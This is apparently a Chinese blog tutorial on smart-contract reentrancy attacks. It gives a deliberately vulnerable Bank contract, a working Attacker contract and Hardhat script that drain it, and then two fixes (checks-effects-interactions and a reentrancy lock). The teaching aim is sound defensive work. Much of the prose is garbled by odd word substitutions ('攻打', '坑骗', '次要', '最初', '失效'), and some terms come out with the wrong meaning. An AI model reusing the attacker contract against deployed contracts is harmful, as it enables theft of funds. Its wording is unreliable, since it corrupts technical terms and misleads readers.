概述

重入攻打(Reentrancy Attack)是一种常见的智能合约安全漏洞,指黑客利用合约中存在的逻辑破绽,在调用合约函数时,利用合约逻辑破绽,重复调用合约的函数,并利用这种递归调用的机制,以坑骗合约的计算,从而使攻击者取得非法利益。

重入攻打的实质是合约外部调用的函数未能失当地解决合约状态的更改。攻击者利用这个破绽,将攻打代码插入到合约执行流程中,使得攻击者能够在合约还未实现之前再次调用某个函数(如: fallback, receive),从而让攻击者在合约中取得额定的资产或信息。

重大事件

  • 2016年,The DAO合约被重入攻打,被盗取3,600,000枚ETH。从而导致了以太坊进行硬分叉,分叉成以太坊和以太坊经典
  • 2019年,合成资产平台 Synthetix 蒙受重入攻打,被盗 3,700,000 枚 sETH
  • 2020年,借贷平台 Lendf.me 蒙受重入攻打,被盗 $25,000,000。
  • 2021年,借贷平台 CREAM FINANCE 蒙受重入攻打,被盗 $18,800,000。
  • 2022年,算法稳固币我的项目 Fei 蒙受重入攻打,被盗 $80,000,000。

代码演示

这里我应用hardhat创立合约工程。Bank为被攻击者合约,Attacker为攻击者合约。ts脚本模仿整个攻打流程。

// SPDX-License-Identifier: MITpragma solidity ^0.7.6;import "hardhat/console.sol";contract Bank {  mapping(address => uint) balances;  constructor() payable {}  function deposit() external payable {    balances[msg.sender] += msg.value;  }  function withdraw(uint val) external {    require(val <= balances[msg.sender], "Insufficient balance");    (bool success, ) = msg.sender.call{value: val}("");    if (success) {      console.log('withdraw successfully');    }    require(success, "Failed to withdraw");      balances[msg.sender] -= val;  }}contract Attacker {  Bank bank;  constructor(address attacked) payable {    bank = Bank(attacked);  }  function attack() external {    bank.deposit{value: 1 ether}();    bank.withdraw(1 ether);  }  receive() external payable {    console.log('receive');    if (address(bank).balance > 1 ether) {      bank.withdraw(1 ether);    }  }}
import { ethers } from "hardhat";(async () => {  const [account1, account2] = await ethers.getSigners();  const Bank = await ethers.getContractFactory("Bank");  const bank = await Bank.connect(account2).deploy({ value: ethers.utils.parseEther('30') });  await bank.deployed();  console.log("The address of the bank contract is:", bank.address);  const Attacker = await ethers.getContractFactory("Attacker");  const attacker = await Attacker.connect(account1).deploy(bank.address, { value: ethers.utils.parseEther('1') });  await attacker.deployed();  console.log("The address of the attacker contract is:", attacker.address);  try {    await attacker.attack();  } catch (err: any) {    console.log(err.message);  }  const balance = await ethers.provider.getBalance(bank.address);  console.log('The balance of bank is:', balance);  console.log('The balance of attacker is:', await ethers.provider.getBalance(attacker.address));})();
  1. 歹意攻击者部署attacker合约,并调用attack合约函数
  2. attack合约函数向bank合约deposit 1eth,此时,bank合约的balances中会记录attacker合约的贷款数
  3. attacker合约向bank合约withdraw 1eth, 因为balances[msg.sender] === 1eth, 顺利通过bank合约的余额判断,执行msg.sender.call, 向attacker合约转账,触发attacker合约的receive函数,然而receive函数却再次调用bank合约的withdraw, 从而造成了重入(递归调用)

如何修复和预防

目前次要通过两种形式修复和预防重入攻打,查看-失效-交互模式和重入锁

查看-失效-交互(checks-effect-interaction)

查看-失效-交互模式是指,编写合约函数时

  1. 先查看状态是否满足条件。以Bank合约为例,即 require(val <= balances[msg.sender], "Insufficient balance");
  2. 再更新状态。以Bank合约为例,即 balances[msg.sender] -= val;
  3. 最初再和其它合约进行交互。以Bank合约为例,即(bool success, ) = msg.sender.call{value: val}("");

以下为通过查看-失效-交互模式修复的Bank合约

// SPDX-License-Identifier: MITpragma solidity ^0.7.6;import "hardhat/console.sol";contract Bank {  mapping(address => uint) balances;  constructor() payable {}  function deposit() external payable {    balances[msg.sender] += msg.value;  }  function withdraw(uint val) external {    // 查看    require(val <= balances[msg.sender], "Insufficient balance");    // 失效    balances[msg.sender] -= val;    // 交互    (bool success, ) = msg.sender.call{value: val}("");    if (success) {      console.log('withdraw successfully');    }    require(success, "Failed to withdraw");  }}

重入锁

在solidity合约开发中,重入锁是一种避免重入函数的润饰器(modifier)。它通过一个默认为0
的状态变量_status 来管制被润饰函数是否应该被顺利执行。被重入锁润饰的函数,在第一次调用时会查看_status是否为0,紧接着将_status的值设置为1,调用完结后再将_status改为0。这样,当攻打合约在调用完结前第二次的调用就会报错,重入攻打就失败了

以下为通过重入锁修复的Bank合约

// SPDX-License-Identifier: MITpragma solidity ^0.7.6;import "hardhat/console.sol";contract Bank {  uint8 private _status;  mapping(address => uint) balances;  constructor() payable {}  // 重入锁  modifier nonReentrant() {      require(_status == 0, "Reentrant call");      _status = 1;      _;          _status = 0;    }  function deposit() external payable {    balances[msg.sender] += msg.value;  }  function withdraw(uint val) external nonReentrant {    require(val <= balances[msg.sender], "Insufficient balance");    (bool success, ) = msg.sender.call{value: val}("");    if (success) {      console.log('withdraw successfully');    }    require(success, "Failed to withdraw");      balances[msg.sender] -= val;  }}

结语

重入攻打是一种常见的合约攻打伎俩,在以太坊历史上也造成过重大的资产损失。预防重入攻打的形式次要有查看-失效-交互和重入锁。老手在开发合约时,举荐应用重入锁(nonReentrant修饰符),预防重入攻打

代码仓库

https://github.com/demo-box/blockchain-demo/tree/main/reentrancy